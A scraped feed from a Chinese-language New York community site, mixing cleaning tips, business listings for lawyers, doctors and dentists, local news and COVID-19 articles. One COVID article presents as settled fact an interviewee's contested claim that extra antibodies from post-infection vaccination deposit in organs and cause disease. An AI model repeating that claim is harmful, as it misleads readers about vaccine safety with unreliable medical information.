●取一块干净的布,滴几滴干洗溶剂,轻拍在机油污渍上;
●如果污渍仍然可见,将两杯温水与一汤匙白醋和一汤匙洗洁精混合,然后用干净的海绵将溶液涂抹在污渍上;
●继续直到污渍消失;

二:如何清洁地毯上的牛奶?

●用吸水纸、布或毛巾吸尽可能多的牛奶;
●取一个小碗,将两杯温水与一汤匙洗手液混合;
●用水轻轻沾湿一块布,然后用混合物润湿;
●用布吸干牛奶,直到污渍消失;
●在受影响的区域撒上玉米淀粉或氨水,让它静置约 30-60 分钟,或者无论干化合物需要多长时间才能吸收剩余的残留物;
●一旦该区域干燥,取出吸尘器并吸尘地毯的受影响区域。

三:如何去除地毯上的新鲜血迹?

●始终戴手套,因为处理血液会危害健康;
●在血迹上加点水稀释血迹,然后用湿布轻轻擦拭。用冷水冲洗该区域;
●用毛巾或布擦干该区域,然后在地毯上铺一些纸巾以吸收多余的水分;
●让该区域变干,然后在上面运行真空吸尘器,使地毯纤维丰满;

四:如何清洁地毯上的食用油污渍?

●用纸巾吸干尽可能多的油。继续这样做,直到毛巾上不再出现油;
●将少量酒精涂抹在干净的毛巾上,然后轻拍在油渍上。确保吸干,而不是擦拭,因为这会使油在更宽的表面上扩散;
●调制由 1/4 杯水和 1/4 茶匙洗碗液制成的混合物。理想情况下,洗碗液应该是知名品牌,可以有效去除油脂,并且不含任何会使地毯褪色的羊毛脂或漂白剂;
●使用干净的海绵将洗碗液涂抹在油渍上,然后将其涂抹在受影响的区域,直到污渍不再可见;
●用少量水清洗肥皂泡沫,然后用干净的毛巾吸干;
●在受影响的区域添加纸巾以吸收剩余的水分;
让该区域干燥。

 

2021-09-30 / 1 Comment / by / in
对抗新冠病毒 过多抗体诱发全身副作用 | 这类人免疫力足够 无需疫苗?

克里夫兰诊所Cleveland Clinic是世界著名医疗机构。该机构的一项研究表示,有一类人接种新冠疫苗后,“可能不会从中获益”,是哪一类人呢?

美国俄亥俄州克利夫兰诊所卫生系统的5名研究人员共同进行了一项研究。在 5万多名员工中,进行了长达 5 个月的随访, 统计新冠病毒感染的累积发生率:

  1. 先前没有感染新冠病毒,也没有接种疫苗的受试者,累积发病率稳步增加。
  2. 以下三群人,感染新冠的数据几乎保持为零。
  • 先前感染新冠,但没有接种疫苗者;
  • 先前感染新冠,然后接种疫苗者;
  • 先前未感染新冠,然后接种疫苗者。

克里夫兰诊所统计新冠病毒累计发生率 图片 HealthMonitor / wikipedia

员工中有2,578名曾经感染了新冠,他们中有53%在以后一直没有接种疫苗。这1,359名始终不接种疫苗的员工在观察期内没有一个再次感染新冠。

从这项跟踪观察的数据中,可以发现先前感染新冠的受试者,无论是否接种疫苗都不太可能再次感染 COVID-19。自然感染获得的免疫力已经足以有效防止未来感染新冠。

可以说,曾经感染新冠病毒后,身体产生了免疫力,之后不论打疫苗还是不打疫苗,在一定时间内几乎就不会感染新冠了。为什么自然免疫力可以有效防止未来不再感染新冠呢?

人体自然免疫力更为全面和持久

欧洲病毒学及传染病专家、生物技术公司首席科学家董宇红博士,接受“大纪元”采访时解释说,因为人体的免疫系统是多层面的,如果人们能从这次染疫中恢复健康,对我们身体的细胞是一个全面的经验,相当于经历了一场实战,战胜病毒后身体的细胞会产生记忆。

但是疫苗只是仿真表面病毒蛋白质中的一个部分,不是完整的病毒。

所以说自然感染之后,它是一个全面的免疫力,而且可以保持的时间较持久。

当然,这些研究的数据并不是要我们通过自然感染去得到抗体。我们看到的是感染后幸存下来的人,但也有染疫之后不幸去世的、重症的。人们以自己的免疫力直接挡住病毒,不感染才是最好的。

现在全世界还有很多地区疫苗稀缺,因此将疫苗接种给以前没有感染过的人是最有意义的。

体内抗体过多 会引发全身副作用

福西博士曾经说过,曾经自然感染的人,再打疫苗,体内的抗体会“冲到天空那么高”。加州大学洛杉矶分校的帕特里克·惠兰在《英国医学期刊》表示,另一方面,这些“像天空一样高”的抗体,也可能引起全身性的副作用。

曾经自然感染的人,再打疫苗,由于体内已经产生抗体,再打疫苗就好像在高楼上再建高楼,表现出来就是体内的抗体“冲到天空那么高”。然而,抗体并非越多越好。

英国有一项研究结果发表在《柳叶刀》传染病杂志上: 与未感染过新冠的个体相比,感染过新冠的个体疫苗接种后,出现副作用更常见,不管是全身的还是局部的;打一剂或者二剂,副作用都是增加的

感染新冠后再打疫苗,体内产生的过多抗体可能会诱发全身性副作用。 这是什么原因呢?

董宇红博士说,抗体太多和疫苗抗原会形成免疫复合物,这些复合物可能会沉积在关节、脑膜甚至肾脏等部位,从而导致疾病。因此,过多的、大量的抗体,不仅没有起到保护的作用,还可能会导致疾病。所以,如果大家从营养、生活作息等各方面进行调整,提升人体的自然免疫力,能够不受病毒侵袭那是最好的。

2021-09-29 / by / in , , ,
【金牌推荐】2022最佳纽约移民律师 | 美国移民签证 I-485绿卡申请 美国亲属移民申请

一直以来,拜登政府努力推动实施宽松的移民政策,试图推翻川普时期许多较严格的移民政策,并寻求对美国的移民制度进行全面改革。有些美国移民政策的变化,和华人朋友办理绿卡,职业移民,亲属移民,投资移民等问题息息相关,这些问题也只有在真正专业的人士那里才能得到有效的帮助。

金牌资讯网通过对众多纽约移民律师的资质、实践经验、声誉和专业性等方面的综合考量,推荐给大家几位最具实力的、有中文服务纽约移民律师。

金牌推荐最佳纽约移民律师—中华律师楼

法拉盛地址:136-20 38th Ave, Suite 9I Flushing, NY 11354

电话:718-461-8461

曼哈顿地址:139 Centre Street, Suite 208 New York,NY 10013

电话:212-941-5483

网址:https://nychineselawyer.com/

中华律师楼是一家口碑好,信誉高的老牌华人律师事务所。拥有一支强大而专业的律师队伍,凭着丰富的实践经验、合理的价格,面向全纽约乃至国际客户提供高品质的法律服务,帮助众多来美国的移民及家庭,解决他们的移民等种种问题。

主要移民业务范围包括:职业移民、紧急保释、移民保释、机场保释、移民欺诈、逾期滞留、政治庇护等。

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金牌推荐最佳纽约移民律师—罗曼律师楼

地址:305 Broadway, Suite 610, New York, NY 10007
电话:(212)732-2220

罗曼律师是全美律师协会卓越的律师之一,灵活运用家庭法律,案件成功率高,曾任费城及华尔街大律师楼的主管律师,积累了多年大型律师楼办移民婚姻诉讼的宝贵经验。

罗曼律师事务所以精办各类移民案件出名。罗曼律师亲自承办过的案件,在全美超过35个城市,接触过50多位法官。罗曼律师精办移民案件,胜诉率高。罗曼律师凭着丰富的办案经验,为无数华人赢得了绿卡,解决了身份之困扰。

 

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金牌推荐最佳纽约移民律师 鼎略律师税务师事务所

电话:917-791-5010

地址:38-08 Union st,Suite 12C, Flushing, NY 11354

税务部邮箱:wangtaxattorney@gmail.com

法务部邮箱:info@dllawteam.com

办公时间:周一至周五9:00~5:00,周末需预约


鼎略律师税务师事务所位于纽约法拉盛Union街,交通便利,邻近地铁口。由持纽约税务师和律师执照的王惠律师、税务师主理。王惠有多年的公司及个人报税经验,同时代理过大量房产、商业、移民、离婚案件。从业以来,始终把客户的利益放在首位,在纽约华人社区有非常好的口碑。

 

金牌推荐最佳纽约移民律师—陈轶珉律师

地址:39-15 Main Street, Suite 502, Flushing, NY 11354
电话:718-886-4858 / 718-886-1858
网址: http://ymclaw.com/cn/

陈轶珉律师是全美律师协会会员,美国法学博士,持有纽约、新州、联邦执照。

对于有意向申请H-1B,EB-1,NIW和其他种类的移民或非移民签证的客户,陈轶珉律师可以向提供免费评估的服务。

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金牌推荐最佳纽约移民律师—天成律师所

天成律师所 – Wu Law Group, P.C.

地址:3808 Union St #9a, Flushing, NY 11354
电话:(718) 473-9188
网址:www.wulawgroup.com

天成律师事务所拥有多位经验丰富值得信赖的律师,专注服务于亚裔社区(华人和韩国人),真正能够处理疑难复杂的移民案例,包括:联邦法庭的递解令,劳工条件申请的审查和拒绝,行政司法审查程序,上诉,控告移民局,例如技术类H工作签证和商务类L工作签证被拒签的诉讼等。

吴绿绿律师是天成律师所的创始人, 也是移民法和家事法律师。吴律师曾经成功代理数百起投资移民申请和第一优先绿卡申请,参与编辑《投资移民手册》,此手册在美国和中国同时发行。

纽约天成律师 (718) 473-9188

金牌推荐最佳纽约移民律师—耿婷律师

耿婷律师楼 Geng & Associates, P. C.

地址: 39-07 Prince St #3G, Flushing, NY 11354
电话:718-321-7006
预约: typeform.com

耿婷律师,纽约法路通律师楼合伙人,拥有数个美国联邦巡回法庭律师执照,系美国华裔律师组织理事,全美移民律师协会成员,纽约州律师协会成员。曾多次就热点移民法律问题接受美国中文电视台和唐人电视台的采访。

耿婷律师兼具中国和美国的法律背景,法学功底深厚,法律从业经验丰富,专精美国移民法律业务,办理各类EB-1杰出人才移民,H-1B工作签证, L-1跨国公司高管签证,EB-5投资移民和EB-2/EB-3专业技术移民,创下EB-5投资移民申请仅42天就获得批准,EB-1杰出人才移民和L-1 跨国公司高管签证申请仅10天就获批的记录。此外,耿婷律师也擅长处理疑难亲属移民案件。

除了精通中英文之外,也提供以粤语、上海话、台语等方言提供服务。

美国移民律师耿婷完整详解:EB-5 投资移民50万美元起,不在美国也可申请 电话:718-321-7130

金牌推荐最佳纽约移民律师—田方中律师

地址:135-11 40th Rd.,Ste.4B,Flushing NY
电话:718-886-8711
网站: www.tianlawoffice.com

田方中律师博采众长,拥有美国法学博士学位、英美文学本科和硕士学位及电脑方面的硕士学位。

田方中律师经办各种移民案件,特别是政治庇护 、投资移民、和职业移民申请。除经常代理客户上各种大小庭外,田律师还擅长撰写各种旨在推翻移民局、移民法庭、和移民上诉委员会各种判决或裁决的上诉状。

田律师不怕移民案子的艰难,已经成功地处理许多疑难杂症的案子,让许多棘手的案子起死回生,特别是监狱解救、上诉、重开案、反驳、再反驳等。

田方中律师楼 718-886-8711

金牌推荐最佳纽约移民律师—同达律师楼

地址:39 E. Broadway, #605 New York, NY,10013
电话:(212)587-8887

同达律师楼专业办理:各种移民案件。

同达律师楼仝律师建议申请I-601A一定要找有经验的律师,因为一旦被拒的话,上诉、开案都很困难,重做的手续也很麻烦。而且申请人要在I-130获批并转到广州领事馆、缴纳签证费并有了收据以后,才可以提交I-601A申请,如果在I-601A这个环节出现问题,拖的时间会很长。

同达律师楼(212)587-8887

金牌推荐最佳纽约移民律师—衡成律师事务所

地址: 136-18 39th Ave STE 1003, Flushing, NY 11354
电话:929-200-7168/929-200-7166

衡成律师事务所移民法法律业务
• 各类绿卡:亲属移民,婚姻绿卡,
• 开案转案,驳回上诉,601/A豁免, 面试陪同,公民申请;
• 经理人绿卡,杰出人才移民,投资移民;L1,H1B工签,工签转绿卡;工卡申请,回美纸。

衡成律师事务所(XU LAW OFFICES P.C)929-200-7168

以上最佳纽约移民律师排名不分先后。

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2021-09-29 / 1 Comment / by / in , ,
【金牌推荐】 纽约精选家庭医生 | 纽约华人家庭医生

在美国看医生,病人接触最多的就是家庭医生。有了医疗保险,每个人都可以选一名自己满意的家庭医生。纽约华人选家庭医生可以考虑语言、看诊地点和自己的健康状况,比如本身有哪些慢性疾病等。下面是我们精选的纽约地区的华人家庭医生。

法拉盛地区

纽约华人医生 欧阳昊绪家庭医生

地址 :132-27 41st Road Unit 2C Flushing, NY 11355

电话:718-269-5055

作为一名经验丰富的医疗专家家庭医生,欧阳昊绪医生提供全方位的内科医疗服务,包括妇科常规检查,针对女性健康问题提供专业的诊疗。此外,她也为计划定居美国的移民进行移民体检(绿卡体检)

欧阳昊绪医生,毕业于复旦大学上海医学院,后又在美国著名的达特茅斯大学取得肿瘤生物学博士学位,并在纽约大学完成乳腺癌博士后研究。她在纽约完成了严格的内科住院医师及总住院医师培训,现在是曼哈顿一家著名教学医院的主治医生,并在纽约拥有自己的家庭医生诊所。

在COVID-19疫情期间,欧阳医生积极在前线工作,累积了丰富的临床经验。她擅长急慢性病的管理和预防,致力于通过循证医学帮助患者维护健康,实施及时监测和早期检测以预防疾病。

纽约家庭医生

欧阳医生精通英语和普通话,能够服务于多样化的患者群体。她的医疗服务不仅专业,而且充满人文关怀,因此深受患者的信赖与尊敬。

欧阳昊绪医生擅诊治各种内科疾病,包括高血压、糖尿病、高胆固醇、心脏病、过敏、哮喘、肺病、贫血、头晕、胃痛、肝胆肾病、甲状腺疾病、关节炎、尿路感染,性病等。

欧阳医生临床经验丰富、医术精湛。她的诊所环境整洁,提供全身检查,以及专项检查,如妇科检查、癌症筛查、大小便检查、抽血、心电图等医疗服务。欧阳医生提供疫苗接种服务。

欧阳昊绪医生的门诊目前欢迎新患者加入,对无保险患者提供优惠。如果您在纽约寻找一位可靠的家庭医生,欧阳昊绪医生将是您的理想选择。

开诊时间:每周六天 (周三休息)

预约电话﹕718-269-5055

地址 :132-27 41st Road Unit 2C Flushing, NY 11355

 

需要查找更多纽约地区家庭医生,请点击纽约精选家庭医生

 

 

2021-09-29 / by / in
新冠口服药有望年底上市 治疗新冠病毒的新方法

针对在全球肆虐近两年的新冠病毒,很快会有一种新的治疗方法面市。美国两家制药企业默克(Merck)和辉瑞(Pfizer)表示,最快会在今年年底获得许可,治疗新冠的口服药可以上市,主要用于轻度患者的治疗。

据日本经济新闻报道,默克公司正在研发一种抗病毒药物,叫“Molnupiravir”,目前已经进入了最后阶段–第三阶段临床试验,到十月份将会发布试验数据,到今年年底将申请美国紧急使用许可。

这款抗病毒药的研发,原本用于治疗流感。新冠疫情爆发后,发现这款药物对新冠病毒治疗也有效用。美国卫生与福利部(HHS)已与默克公司签署了一份协议,将以12亿美元采购170万剂药品。默克公司也在进行量产准备,计划在今年年底之前完成1,000万剂的生产。

与此同此,美国另一制药巨头辉瑞公司,在推出疫苗的同时,也在研发另外两种抗病毒药物,包括一款静脉注射剂和一款口服药。这两种药物主要用于轻症到中症的患者。辉瑞表示将会在年底之前发布数据。

目前的新冠病毒的治疗药物中,还有用于轻症患者的抗体鸡尾酒疗法。这种治疗方法需要通过静脉点滴注射,包括用药后的观察时间计算在内, 一次治疗需要近3~4小时的时间,医疗成本较高。在美国,治疗一次的费用高达2,100美元。

新冠病毒静脉点滴治疗,成本较高

如果有像治疗流感那样的口服药问世,由于服用简单,非常适用于居家治疗的轻症患者,也解决了医疗成本的问题。

抗病毒药的原理是防止病毒繁殖,因此有希望对变异病毒株产生抑制效果。这类药物的生产过程是化学合成,生产成本能约为抗体药的十分之一,如果需要大量生产,增产也很容易。

抗病毒药防止病毒繁殖,成本较低

世界其它各国的制药公司也在加紧研发新的新冠药物。日本盐野义制药,在今年7月开始对新冠病毒口服药进行了临床试验。计划在2022年开始批量使用。另外,瑞士著名医药公司罗氏(Roche)也在研发新冠抗病毒药。

目前,不少国家的疫苗接种率接近70%,但是研究发现,接种疫苗后产生的抗体会随着时间而消减;另外,病毒在不断变异,比如目前传播全球的Delta变体,疫苗对它的防护作用力似乎并不理想,突破性感染的病例不断出现。因此,疫苗的作用力只是病毒防护的方法之一。

日本经济新闻表示,如果治疗新冠病毒的口服药能够问世,可以解决成本问题,并且易于量产。在感染初期,使轻症患者迅速获得治疗。而疫苗则作用于预防感染和防重症方面。

业界期待新冠口服药的问世可以帮助控制疫情,尽快平息这波全球大流行,民众可以恢复到正常的生活中来。

2021-09-28 / by / in , , ,
在哪里配原装汽车钥匙?

纽约/法拉盛/配汽车钥匙 /配汽车遥控/配汽车原装钥匙/配智能钥匙/配感应门锁钥匙/Car Keys Made

一次配汽车钥匙的经历

因为买车时,原车主告诉我,她只有一把钥匙,另一把丢掉了。车子过户后,因为一把钥匙在外,先生觉得心里不踏实。不管怎样,还是要先配一把钥匙备用,防止车被锁住就麻烦了。
今天我找到离法拉盛不远的Jackson Heigts的谢师傅请他帮我配一把钥匙。在配钥匙过程中,我把先生的担心告诉谢师傅。谢师傅安慰我:不用担心,他可以帮我解决这个问题。

谢师傅帮我配好一把原厂车钥匙,来到我的车上,先用车钥匙开了车门,再开车锁,都可以了。然后,又帮我试了遥控器,也是好的。

接下来,谢师傅开始解决我的担忧:车钥匙丢了,担心车被偷了怎么办?
首先,谢师傅再次确认新配的钥匙及遥控都是好用的。
其次,把我旧钥匙的数据洗掉,更新为新配钥匙的数据。
第三,把我旧钥匙的遥控功能的数据洗掉,更新为新配钥匙的遥控的数据。

谢师傅告诉我:你的担心是对的,如果钥匙带遥控,捡到钥匙的人在车子附近一按遥控器,就能找到车。所以风险还是很大的。

非常高兴谢师傅帮忙解决了后顾之忧。

推荐大家配原装汽车钥匙请找:

配原裝汽車锁匙及遙控

☎️:646-591-5269

联系人:Jack  Xie

地址:3450 Junction Blvd,Jackson Heights,NY

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2021-09-27 / by / in
【金牌推荐】 纽约牙科医生 | 纽约精选牙医 中文服务

人们一日三餐,享受美食,都离不开牙齿。一旦牙齿松动、牙痛,需要补牙、拔牙、治疗牙周病或者植牙,都要找牙科医生。以下是我们精选的纽约地区,有中文服务的牙科诊所。

布鲁克林地区

诚和牙科中心

诊所电话:718-576-3187

地址:布碌仑七大道54街5321号 (5321 7th Ave.,  Brooklyn, NY 11220)

天天开诊 10am – 6pm

陈赐恒(Charlie Chen)博士主理的诚和牙科,拥有10多年丰富的植牙技术,运用世界顶级的牙科治疗技术,采用微创手术可以为病人当天完成全口植牙,不影响美观和咀嚼。

诚和牙科中心(718)576-3187布鲁克林植牙中心/布鲁克林植牙医生/布鲁克林植牙诊所/布碌仑植牙/全口植牙/诚和牙科中心/植牙流程/植牙价格

 

法拉盛地区

整齐牙科

诊所电话:718-460-9441

地址:35-35 149 St. #203,Flushing,北方大道与149街交界处

每周一、三、五开诊

整齐牙科院长Dr. Daniel Kim (金)博士出身于牙医世家,自己从业十多年积累了丰富的牙科诊疗经验,诊所提供洗牙、深度洗牙、牙齿矫正、牙龈美容、根管治疗、牙周病和当天植牙。

诊所医师耐心、细致,提供中文服务,收获病患“五颗星”的好评。

整齐牙科(718-460-9441)整齐牙科集团 法拉盛牙医/固定假牙 种植牙 全口假牙 四环素牙 根管治疗/烤瓷牙 全瓷牙 牙齿美白 抽牙神经

 

纽约综合牙科诊所New York Dental Solutions

诊所电话:718-886-3443 ( 中文 )

地址:144-48 Roosevelt Ave. Ste. MD-B, Flushing, NY11354

纽约综合牙科诊所提供全面的牙科诊疗,包括牙齿美白,牙齿矫正、植牙、根管治疗和牙周病治疗。诊所的医师全部毕业于美国一流的牙科医学院,以精湛技术服务患者,诊所环境优雅,医师耐心细致,为病患减缓紧张心理,放松就诊,感受不同的牙科治疗体验。

纽约最好的牙科/牙科推荐/纽约综合牙科诊所 718-886-3443 ( 中文 ) 718- 886-4545   

 

实惠牙科Discount Dental

诊所电话:718-460-6868

地址:142-10A Roosevelt Ave, P#8, Flushing, NY 11354

开诊时间:周一至周五上午9点–下午6点

法拉盛实惠牙科交通便利,距离7号地铁站仅5分钟步行路程。创办人Joseph Song, 宋医生曾在哈佛大学牙医学院担任3年全职住院医师,是纽约皇后区唯一获得LANAP激光疗法认证的亚裔牙科医生,是治理牙周病的顶尖专家。

诊所采用先进的3D导航植牙技术,精准控制植牙的位置,微创安全,植牙速度快。

法拉盛隐形矫正/激光治疗牙周病/实惠牙科 718-460-6868

 

缅街牙科

诊所电话:718-762-1300 或者718-445-3003

地址:地址:39-01 Main St #211 Flushing, NY 11354 靠近7号车地铁

开诊时间:周一、周二、周四、周五 10am – 6pm

周六 周日 10am – 3pm (需预约)

沈姺希牙医博士精通各类牙齿问题,曾任美国陆军牙医,有多年临床经验。诊所提供洗牙、补牙、拔牙、根管治疗、牙冠制作、人工植牙、假牙。

欢迎携带自己的的Xray和CBCT(3D)图像来诊所咨询。诊所接受所有私人保险PPO.

法拉盛缅街牙科,沈姺希韩裔牙医博士:718-445-3003

 

经典牙科

诊所电话:718-888-1817或917-285-2262

诊所地址:131-07 40 Rd 5层 unit E36 ,Flushing,NY  11354 (SkyView Center天景医疗中心内)

开诊时间:星期二、三、四、五、六   9:30am-6:00pm

精典牙科诊所的齿科口腔专家黄磊牙医博士,为患者提供“无痛微创植牙”与“牙齿隐形矫正”。黄磊医师连续两年当选为Invisalign隐形矫正特级首选医师,是纽约华裔权威专家。

诊所配备最新科技Itero电子扫描专家系统和顶级的医疗设备,本着让利于民的原则价格优惠。黄磊医师同时还是全科牙科专家,为需要牙科护理的民众提供:种植牙,隐形矫正,洗牙,牙周病治理,根管治疗,牙冠,牙齿美白,牙齿美容,补牙,拔牙,假牙,镶牙,磨牙服务。

精典牙科:纽约最专业的牙齿矫正医生718-888-1817全美顶级牙医

 

舒小泉牙科诊所Shu’s Dental

电话: 718-886-7808

地址: 13636 39th Ave #8, Flushing, NY 11354

舒小泉牙科是纽约整牙推荐的牙医医疗健康中心。牙医医生态度耐心。提供无痛补牙、植牙、全牙列缺失修复。

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曼哈顿地区

美健牙科

曼哈顿诊所电话:212-219-8182

地址:曼哈顿伊丽莎白街53号, 2 楼

布碌伦七大道诊所电话:718-439-5001

地址:布碌伦第7大道5611号

布碌伦八大道诊所电话:718-436-1688

地址:布碌伦8大道5115号

布碌伦86街诊所电话:718-265-8603

地址:Bay Parkway8603号, 2楼

开诊时间: 9:00am-5:30pm(七天)

美健牙科诊所的创始人,纽约植牙医师杨健,诊治了许多疑难患者。杨医生有15年植牙经验,已经成功植牙近万例,对病人耐心、细心。杨医生的牙齿健康讲解获得多次媒体报道。

美健牙科华埠总店–纽约植牙医生,纽约著名牙医,纽约著名植牙医生, 纽约最好的牙医Jane Yang Dental P.C.(212) 219-8182

 

纽约牙科New York Dental Studio

诊所电话:212-588-1809

地址:30 East 60th street suite 2402 New York

诊所的主理黄医生Brandon Huang,有超过20年的牙科经验,曾在纽约曼哈顿Mountain Sinai西奈山医疗中心实习。擅长牙齿美容、牙齿矫正,同时精通各项牙科手术,补牙、拔牙、根管治疗、牙冠和植牙。在牙科方面经验丰富、技术一流的黄医生赢得患者信任。

纽约牙科诊所New York Dental Studio-曼哈顿最好的牙科诊所/曼哈顿牙科医生/曼哈顿牙医

 

长岛地区

长岛大道齿列矫正专科诊所 Avenue Orthodontics

诊所电话:516-217-4545

地址:1044 Northern Blvd., Suite 301, Roslyn, NY 11576

开诊时间:周一和周四:上午11 点至晚 7 点,

周三:上午9点至晚5点。

大道齿列矫正专科诊所的亚伯拉罕医学博(Dr.Abraham Chahine)连续4年被评为皇后区最佳齿列矫正专科医师。埃莱尼Dr. Eleni Michailidis牙医博士被《哈德逊合谷父母》杂志评选为“最受欢迎的医生和医疗保健人士”。

两位医师拥有十多年丰富的牙科经验,对每一位患者都充满热情。诊所采用最新的技术数字印象(Digital Impressions)或称为3D口腔内扫描,确保诊断效率。诊所提供成人牙齿矫正治疗、多种牙套护理,比如金属牙套、透明牙套,舌侧牙套,以满足各年龄段患者的独特需求。

大道齿列矫正Avenue Orthodontics 516-217-4545长岛牙齿矫正/Invisalign隐适美

更多纽约地区牙科诊所,请点击纽约牙医精选

2021-09-26 / by / in ,
纽约饼店杂工好心给无家可归者送食物 却惨遭毒打

文|雨荷

据媒体9月22日报道,美国纽约一名63岁的百吉饼店杂工,亲切地向商店门前的无家可归者送食物。出乎意料的是,百吉饼店杂工却激怒了无家可归的人。两人在街上摔跤,最后争吵不休。这名工人受伤了,被送往医院。

监控视频显示,无家可归的人头顶举起一把椅子,似乎在威胁餐厅里的杂工。然后两个人扭打着。无家可归的人捡起一块砖头,扔在正在逃亡的百吉饼店杂工的脸上。这位63岁的杂工鼻子受伤,手腕瘀伤,被送往纽约市中央医院。


据媒体报道,百吉饼店的一名经理说,杂工走近无家可归的人身边,给了他一个百吉饼和一杯咖啡,但无家可归的人似乎很生气,对杂工发动了袭击。“他(杂工)真的大吃一惊,因为没有人预料到会这样,你知道吗?”经理对媒体说。经理又补充说:“无家可归的人可能患有精神疾病。”

纽约警察局目前正在调查这一事件。

2021-09-26 / by / in ,
华文媒体新秀新唐人办户外健康展 纽约州众议员褒奖(多视频)

9月25日,由近年兴起的独立华文媒体新秀大纪元、新唐人媒体集团主办的“新唐人户外健康展”,在纽约法拉盛中心区凯辛娜大道(Kissena Blvd.)图书馆旁举行,吸引了数千纽约市民参与,现场气氛热闹喜庆。有国会议员、纽约市议员发贺信、褒奖或到现场支持。

健康展特别邀请“新闻最嘲点”主持人姜光宇担任主持,具有中华传统特色的腰鼓队开场,她们表演了曲目“美好未来”和“进行曲”,鼓声铿锵,现场的气氛很是热闹喜庆,很多民众纷纷举起手机拍照。

“新唐人户外健康展”在法拉盛凯辛娜大道户外举办,带来防疫资讯和疫苗知识。(林丹/大纪元)

活动现场有丰富的讲座内容,专家介绍防疫资讯、疫苗知识。还有20多个摊位,包括:免费健康检测、义诊、保险咨询等,吸引大批的民众上前了解。

美国哥伦比亚大学肿瘤科血癌专家邓长春博士介绍了,免疫力低下的白血病人如何应对疫情,“白血病因为经常会导致感染,感染之后比较严重就是败血症,败血症就要住院、甚至导致休克。还是要保持社交距离,尽可能要用洗手液,尽可能要戴口罩,还有一个就是要打疫苗。”

民众踊跃参与新唐人健康展,展位上挤满咨询的民众。(林丹/大纪元)

“新唐人户外健康展”在法拉盛凯辛娜大道户外举办。《大纪元时报》摊位。(林丹/大纪元)

前美国陆军研究所病毒系实验室主任林晓旭博士也到场,介绍了疫苗的预防。

纽约市应急管理局也在场向民众分发预防灾难所需要的各类信息;新泽西常青果园特别为活动赞助了10箱韩国梨请民众试吃。

纽约市议员顾雅明、纽约州众议员金兑锡(Ron Kim)的代表到场向活动颁发了褒奖,国会议员孟昭文也为活动发来贺信。

市议员顾雅明(左)向新唐人健康展颁发褒奖,称赞新唐人健康展带来民众所需的健康和防疫讯息。(林丹/大纪元)

州众议员金兑锡(Ron Kim)的代表杨爱伦(左)向新唐人健康展颁发褒奖。(林丹/大纪元)

联邦众议员孟昭文在贺信中写道:“亲爱的社区朋友们,欢迎来到本次健康展,它能够帮助您了解保持健康的重要性。健康展现场还有免费的体检、医生讲座和免费的资讯。在疫情这段时间里面,我们都意识到了保持健康的重要。我非常感谢新唐人、大纪元的努力,能够让我们的社区了解各种与健康的相关问题,同时提供这样的平台,让我们的社区更加的安全。最后,祝健康展圆满成功。”

市议员顾雅明致词表示,他每年都会参加大纪元时报、新唐人电视台举办的健康展,以往是在室内举办,今年是户外举行,“健康是人生的财富,健康展可以告诉大家健康的重要,让民众特别是年长者能保持健康。”顾雅明说,大纪元报纸上和新唐人电台节目中也有很多关于健康的讯息,希望大家多阅读及观看。

第20选区纽约市议员共和党籍候选人白育青也到场致辞,并感谢新唐人、大纪元举办户外健康展,传播良善的能量,造福广大的纽约社区民众。

2021-09-26 / by / in , , ,
纽约意外滑倒受伤怎样寻求伤害赔偿|纽约意外伤害律师 纽约滑倒摔伤律师

根据美国疾病控制与预防中心 (CDC)的一份报告,意外滑倒受伤在全国急诊室接受治疗的伤害中占较大份额。这种意外伤害事故,往往给受害者造成很大的身体上的痛苦和经济上的损失,有很多此类滑倒受伤的事故都是可以预防的。

纽约州法律规定,这种意外伤害事故的受害者有权获得赔偿。这个索赔过程可能非常复杂,保险公司可能会通过对事实或受伤的严重程度提出异议来抗辩受伤者的索赔。因此非常建议你找金牌资讯网经验丰富的意外伤害律师,来协助处理您的案件。有经验的纽约意外伤害律师了解保险理赔员用来拒绝或低赔付的策略。

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导致滑倒和跌倒事故的常见原因

房屋责任索赔的主要原因包括崎岖不平的路面,但这只是一个原因。还有许多其他类型的滑倒事故,包括:

  • 湿滑的地板
  • 裸露的电线或软管
  • 活动地板
  • 破碎的地砖
  • 光线不足的人行道
  • 坠落物体
  • 路面的坑洼
  • 不稳定的楼梯和栏杆
  • 雪地或结冰的停车场

这些事故中的任何一个都可能导致严重的伤害。滑倒事故的受害者通常会扭伤、骨折、韧带或肌腱撕裂、割伤、擦伤、挫伤、脊髓损伤或头部受伤等。

滑倒事故后应采取的措施

当意外滑倒发生严重伤害时,如果可能,应该尽可能保留证据。

寻求医疗帮助 ——尽快去看医疗专家。断骨会立即显现。有些损伤,可能在几天内不会表现出来,但是让医生记录这一点至关重要。

检查坠落的原因 ——尝试确定坠落的原因,是物体、光滑的表面还是其他类似场所物理布局的东西。

记录现场 ——责任通常归结为那些拥有、控制或负责维护场所的人是否知道或应该知道导致坠落的危险。现场照片以及导致坠落的任何物体或物质都有助于证实这一点。

取得证人的信息。 – 获取联系信息,以便您或您的律师需要再次联系他们。这一步在跌倒后至关重要,因为您将来可能没有机会这样做。

尽快写下你记得的一切 ——你在现场的描述可能会被法庭接受。一定要包括你所看到的、事故是如何发生的,甚至是员工在现场所做的任何陈述。

 

纽约意外伤害律师(纽约滑倒摔伤律师)表示,在纽约州,人身伤害和场所责任索赔的诉讼时效为三年。示意图。 (Pixabay)

什么是纽约市房屋责任索赔?

纽约州法律规定,如果有人在合法地在他人的财产上受伤,业主应对财产上发生的任何伤害负责,如果他们疏忽维护财产导致伤害。换句话说,他们忽略了他们的注意义务。

如果可以证明责任,您可能有权获得赔偿,以帮助您追回损失的工资、支付您的急诊室费用或您在接受治疗后可能收到的任何后续医疗费用。您的人身伤害律师将查看事件周围的情况,并确定您是否有滑倒事故。如果是这样,您的律师将根据场所责任提出索赔。纽约州要求以下要素符合场所责任索赔的条件。

  • 您必须合法进入该物业,无论是通过邀请还是受雇工作。
  • 业主或承包商疏忽了纠正物业的不安全状况,要么无视它,要么没有正确张贴警告。
  • 业主或公司的疏忽导致您受伤。
  • 在业主不知情的情况下闯入者,通常业主不会对发生的任何伤害负责。

纽约市滑倒和跌倒伤害赔偿

在纽约市滑倒律师的帮助下,您可能有资格获得金钱赔偿,例如:

  • 医疗费
  • 工资损失
  • 身体伤害
  • 精神痛苦

有经验的纽约意外伤害律师(纽约滑倒摔伤律师)了解保险理赔员用来拒绝或低赔付的策略。示意图。 (Pixabay)

纽约滑倒的平均赔付是多少?

在纽约平均滑倒受伤的赔偿在 15,000 美元到 45,000 美元之间。您的案例是否属于平均范围取决于几个因素。如果您的伤势相对较轻,您的情况可能低于平均水平。

纽约滑倒和跌倒受伤的诉讼时效

